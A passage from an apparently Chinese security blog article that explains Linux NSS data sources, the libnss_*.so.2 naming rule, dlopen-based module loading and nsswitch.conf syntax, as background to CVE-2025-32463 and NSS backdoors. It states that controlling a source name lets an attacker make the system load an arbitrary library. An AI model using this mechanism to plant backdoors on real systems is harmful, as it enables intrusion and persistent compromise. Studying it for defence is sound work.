leaf="">libnss_ldap.so.2</span></code><span leaf="">，数据源列表也随之增长。</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">可以通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dpkg -S</span></code><span leaf=""> 确认每个库所属的软件包：</span></p><pre style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">libnss_compat.so.2   → libc6 (glibc)</span><span leaf=""><br/></span><span leaf="">libnss_dns.so.2      → libc6 (glibc)</span><span leaf=""><br/></span><span leaf="">libnss_files.so.2    → libc6 (glibc)</span><span leaf=""><br/></span><span leaf="">libnss_hesiod.so.2   → libc6 (glibc)</span><span leaf=""><br/></span><span leaf="">libnss_systemd.so.2  → libnss-systemd</span></code></pre></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以下是 glibc </span><strong style="font-weight: bold;color: black;"><span leaf="">内置</span></strong><span leaf="">的标准数据源（共 4 个，均来自 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libc6</span></code><span leaf=""> 包）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">数据源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">共享库</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">files</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss_files.so.2</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查本地文件（如 </span><code><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code><span leaf="">/etc/hosts</span></code><span leaf="">）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">dns</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss_dns.so.2</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 DNS 协议查询（仅 </span><code><span leaf="">hosts</span></code><span leaf=""> 数据库可用）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">compat</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss_compat.so.2</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">兼容模式，类似 </span><code><span leaf="">files</span></code><span leaf=""> 但支持 NIS 特殊条目（</span><code><span leaf="">+</span></code><span leaf="">/</span><code><span leaf="">-</span></code><span leaf="">）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">hesiod</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss_hesiod.so.2</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 Hesiod 名称服务查询（MIT 开发的 DNS 式目录服务）</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以下为</span><strong style="font-weight: bold;color: black;"><span leaf="">常见的第三方扩展数据源</span></strong><span leaf="">（需额外安装对应软件包）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">数据源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">安装包</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd</span></code><p><span leaf="">（通常预装）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查 systemd-machined / systemd-resolved</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ldap</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss-ldap</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查 LDAP 目录服务</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">sss</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">sssd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查 SSSD（System Security Services Daemon）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">winbind</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">winbind</span></code><p><span leaf="">（Samba）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查 Windows 域控制器</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">nis</span></code><p><span leaf=""> / </span><code><span leaf="">nisplus</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss-nis</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">查 NIS/NIS+ 网络信息服务</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">mdns4_minimal</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">libnss-mdns</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 mDNS（组播 DNS）在局域网内查询</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">resolve</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd-resolved</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 systemd-resolved 查询</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">myhostname</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">将本地主机名解析为本地 IP</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">mymachines</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">解析本地容器（systemd-nspawn）的主机名</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这种&#34;共享库即数据源&#34;的设计，正是 NSS 后门得以实现的基础——攻击者只需提供一个自定义的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_*.so.2</span></code><span leaf="">，就能让系统加载并执行任意代码。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">为什么是 .so.2 而不是 .so？</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果阅读过《程序员的自我修养》这本书，一定对这部分内容不陌生</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所有 NSS 库文件名都以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so.2</span></code><span leaf=""> 结尾，而不是常见的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf="">。这里的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.2</span></code><span leaf=""> 是共享库的 </span><strong style="font-weight: bold;color: black;"><span leaf="">SONAME 版本号</span></strong><span leaf="">，代表 ABI（应用二进制接口）的兼容版本。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">man nsswitch.conf</span></code><span leaf=""> 中有明确说明：</span></p><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">Libraries called /lib/libnss_SERVICE.so.X will provide the named SERVICE. The version number X may be 1 for glibc 2.0, or </span><strong style="font-weight: bold;color: black;"><span leaf="">2 for glibc 2.1 and later</span></strong><span leaf="">.</span></p></blockquote><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">SONAME</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对应 glibc 版本</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">.so.1</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">glibc 2.0（已淘汰）</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">.so.2</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">glibc 2.1 及之后所有版本（当前所有现代 Linux）</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">glibc 在内部通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载 NSS 模块时，</span><strong style="font-weight: bold;color: black;"><span leaf="">硬编码</span></strong><span leaf="">查找的就是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_xxx.so.2</span></code><span leaf="">。这意味着：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">攻击者构造恶意库时，文件名必须是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_xxx.so.2</span></code><span leaf="">，而不能是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_xxx.so</span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">这也是为什么在前面漏洞复现的编译步骤中，输出文件名必须带 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so.2</span></code><span leaf=""> 后缀</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">一个具体的例子</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当执行 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ping www.example.com</span></code><span leaf=""> 时，系统内部实际的解析流程是：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ping www.example.com</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ gethostbyname(&#34;www.example.com&#34;)    ← glibc 函数调用</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ NSS 读取 /etc/nsswitch.conf 中 hosts 行</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            │  hosts: files dns mdns4_minimal</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 先查 files → /etc/hosts 中有没有？没有则继续</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 再查 dns  → 发起 DNS 查询 → 获得 93.184.216.34</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，NSS 作为一个</span><strong style="font-weight: bold;color: black;"><span leaf="">中间层</span></strong><span leaf="">，连接了上层的 glibc 函数调用（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">gethostbyname</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam</span></code><span leaf="">）和底层的各种数据源（本地文件、DNS、LDAP 等）。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">动态加载机制：关键所在</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">NSS 最关键的设计在于：</span><strong style="font-weight: bold;color: black;"><span leaf="">每个数据源对应一个共享库文件</span></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">当 NSS 需要查询某个数据源时，它通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><strong style="font-weight: bold;color: black;"><span leaf="">动态加载</span></strong><span leaf="">对应的共享库。库文件的命名规则为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">libnss_&lt;数据源名&gt;.so.2</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">例如：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">数据源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">对应的共享库</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">files</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/lib/x86_64-linux-gnu/libnss_files.so.2</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">dns</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/lib/x86_64-linux-gnu/libnss_dns.so.2</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ldap</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/lib/x86_64-linux-gnu/libnss_ldap.so.2</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">mdns4_minimal</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2</span></code></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着：</span><strong style="font-weight: bold;color: black;"><span leaf="">只要能在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中控制数据源名称，就能让系统加载任意的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这也是 CVE-2025-32463 以及各类 NSS 后门的核心利用点——下一节我们将深入探讨这一点。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x03 NSS 机制深入</span></span></h2><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">本章源码分析基于 </span><strong style="font-weight: bold;color: black;"><span leaf="">glibc 2.39</span></strong><span leaf="">（Ubuntu 24.04 当前版本），源码获取方式：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">git clone --branch glibc-2.39 <a href="https://sourceware.org/git/glibc.git" target="_blank">https://sourceware.org/git/glibc.git</a></span></code></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">3.1 配置文件语法完全解析</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf=""> 每一行的完整语法为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">&lt;数据库&gt;: &lt;数据源1&gt; [STATUS=ACTION] &lt;数据源2&gt; [STATUS=ACTION] ...</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">基本元素</span></h4><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">数据库</span></strong><span leaf="">：第一列，如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">hosts</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group</span></code><span leaf=""> 等（0x02 已列出完整列表）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">数据源</span></strong><span leaf="">：后续每列，如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dns</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code><span leaf=""> 等</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">条件动作</span></strong><span leaf="">：用方括号 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span 